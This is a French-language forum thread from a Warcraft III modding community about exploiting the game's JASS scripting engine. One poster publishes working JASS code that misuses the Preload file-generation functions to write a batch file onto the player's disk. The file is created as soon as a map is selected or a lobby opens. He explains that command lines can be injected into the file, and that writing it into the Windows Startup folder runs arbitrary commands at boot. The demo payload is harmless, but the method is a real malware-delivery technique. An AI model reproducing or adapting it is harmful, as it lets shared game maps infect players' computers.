Voir le sujet précédent :: Voir le sujet suivant |
Auteur |
Message |
Troll-Brain Ri1kamoua
Inscrit le: 23 Aoû 2007 Messages: 7143 Sujets: 147 Spécialité en worldedit: le troll, le flood, la vulgarité, mon coeur balance Médailles: 2 (En savoir plus...)
|
Posté le: 16/09/09 17:23 Sujet du message: L'exploit semble n'être toujours pas fixé avec le new patch |
|
|
L'exploit qui consistait à exécuter du bytecode via du jass semble être toujours d'actualité :
http://www.thehelper.net/forums/showpost.php?p=1118440&postcount=48
Évidemment c'est plus complexe que cela mais comme on peut toujours typecaster integer <-> code, on devrait donc toujours pouvoir lancer un virus incorporé dans une map.
PS : Cela ne compile pas avec le JassNewGenPack car pJass détecte à juste titre une erreur, de plus il faudrait aussi compiler la map avec le mode debug off pour ne pas inliner la fonction Int et code, même si je suppose que rajouter return 0/return null devrait résoudre ce "problème".
EDIT :
Il me semble que ce n'est plus d'actualité avec les patchs plus récents, mais flemme de tester (elle ne sont plus ma rigueur et motivation d'antan).
Quoi qu'il en soit il est possible d'utiliser le Preload bug :
http://www.thehelper.net/forums/showthread.php/158371-How-to-virus-in-Warcraft-III _________________
Dernière édition par Troll-Brain le 28/07/12 19:10; édité 1 fois |
|
Revenir en haut |
|
|
Ayane Bot administrateur
Inscrit le: 17 Sep 2007 Messages: 2009 Sujets: 49
Médailles: 2 (En savoir plus...)
|
Posté le: 25/06/12 20:57 Sujet du message: |
|
|
Je viens de tester la génération de preload et c'est évidemment toujours d'actualité puisqu'ils n'ont pas fait de mise à jour depuis.
J'ai eu l'idée de générer le preload dans la fonction config, et cela fonctionne!
J'ai utilisé un code beaucoup plus simple qui sert juste à vérifier la faille:
Jass: | call PreloadGenStart()
call Preload("\")\nmsg \"%username%\" Hello world!\n//")
call PreloadGenEnd("C:\\INFESTED.bat") |
Vous n'avez pas besoin de lancer la carte, sélectionnez seulement la carte ou en multijoueur créez la partie pour avoir l'écran de choix des joueurs/équipes. Cela vous créera un fichier "C:\\INFESTED.bat". Vous pouvez double-cliquer dessus, cela vous affichera une boîte de dialogue avec le message "Hello World!".
Télécharger la carte
Il suffit de créer le fichier dans le dossier Startup sous Windows pour que le script soit automatiquement exécuté au lancement de l'ordinateur. Il s'agit de commandes, donc on peut pratiquement tout faire. Comme vous pouvez le voir c'est également très simple à faire. _________________
Dernière édition par Ayane le 25/06/12 21:05; édité 1 fois |
|
Revenir en haut |
|
|
Tirlititi
Inscrit le: 21 Fév 2010 Messages: 1785 Sujets: 22 Spécialité en worldedit: La modestie Médailles: 1 (En savoir plus...)
|
Posté le: 25/06/12 21:27 Sujet du message: |
|
|
C'est sympa
Mais il y a quand même un certain nombre de natives qui ne marchent pas dans la fonction config (la plupart des handles ne sont pas encore gérés à ce moment-là). Ça m'étonne même que Preload marche.
Cela dit, ça me donne aussi des idées. Peut-être que Preloader des fichiers "sources" permet d'utiliser ceux de la map au lieu de ceux présents dans les .mpq.
*Vive le moment magique entre l'idée et la découverte de son inefficacité* _________________
|
|
Revenir en haut |
|
|
kungfu-sheep Anomalie floodiforme
Inscrit le: 14 Avr 2011 Messages: 1846 Sujets: 119 Spécialité en worldedit: fonctions paramétriques, équation de mouvement.
|
|
Revenir en haut |
|
|
Ayane Bot administrateur
Inscrit le: 17 Sep 2007 Messages: 2009 Sujets: 49
Médailles: 2 (En savoir plus...)
|
Posté le: 26/06/12 06:24 Sujet du message: |
|
|
Il s'agit de généré un fichier de préchargement et non de préchargé des données, PreloadGenStart change la fonctionnalité de la fonction Preload pour qu'il ajoute son paramètre dans une liste et enfin PreloadGenEnd écrit cette liste dans le fichier.
Cela génère ce type de fichier
Jass: | function PreloadFiles takes nothing returns nothing
call Preload( "UI\\Widgets\\Glues\\GlueScreen-Button1-BorderedBackdropBorder-Down.blp" )
call Preload( "Sound\\Interface\\BigButtonClick.wav" )
call Preload( "Sound\\Interface\\LeftAndRightGlueScreenPopUp.wav" )
call PreloadEnd( 0.0 )
endfunction
|
L'idée c'est d'ajouter du code de ligne de commande à la place du paramètre de Preload, car PreloadGen écrit tout simplement les paramètres sans les vérifier. Ce qui nous donne:
Jass: | function PreloadFiles takes nothing returns nothing
call Preload( "")
msg "%username%" Hello world!
//" )
call PreloadEnd( 0.0 )
endfunction
|
Dans un .bat chaque ligne est analysée lors du retour à la ligne, une erreur rencontrée lors d'une ligne n'empêche pas l'analyse des autres lignes. Les lignes jass vont généralement produire des erreurs car il ne reconnaît pas les commandes, par contre lorsqu'il va tomber sur msg "%username%" Hello world! il va l'exécuter correctement. msg est une commande permettant d'envoyer un message à un utilisateur, je lui donne donc l'utilisateur "%username%" qui est une variable d'environnement et qui va donc être remplacée par l'utilisateur courant (dans mon cas Ayane), et enfin le reste est le message.
Il y a pleins de fonctions qui ont besoins de disposer de données initialisées au chargement de la carte et donc qui ne fonctionneront pas dans config. On peut utiliser tout le reste, la génération de fichier de préchargement sont des fonctions qui se suffisent à elle-mêmes. _________________
|
|
Revenir en haut |
|
|
Troll-Brain Ri1kamoua
Inscrit le: 23 Aoû 2007 Messages: 7143 Sujets: 147 Spécialité en worldedit: le troll, le flood, la vulgarité, mon coeur balance Médailles: 2 (En savoir plus...)
|
|
Revenir en haut |
|
|
|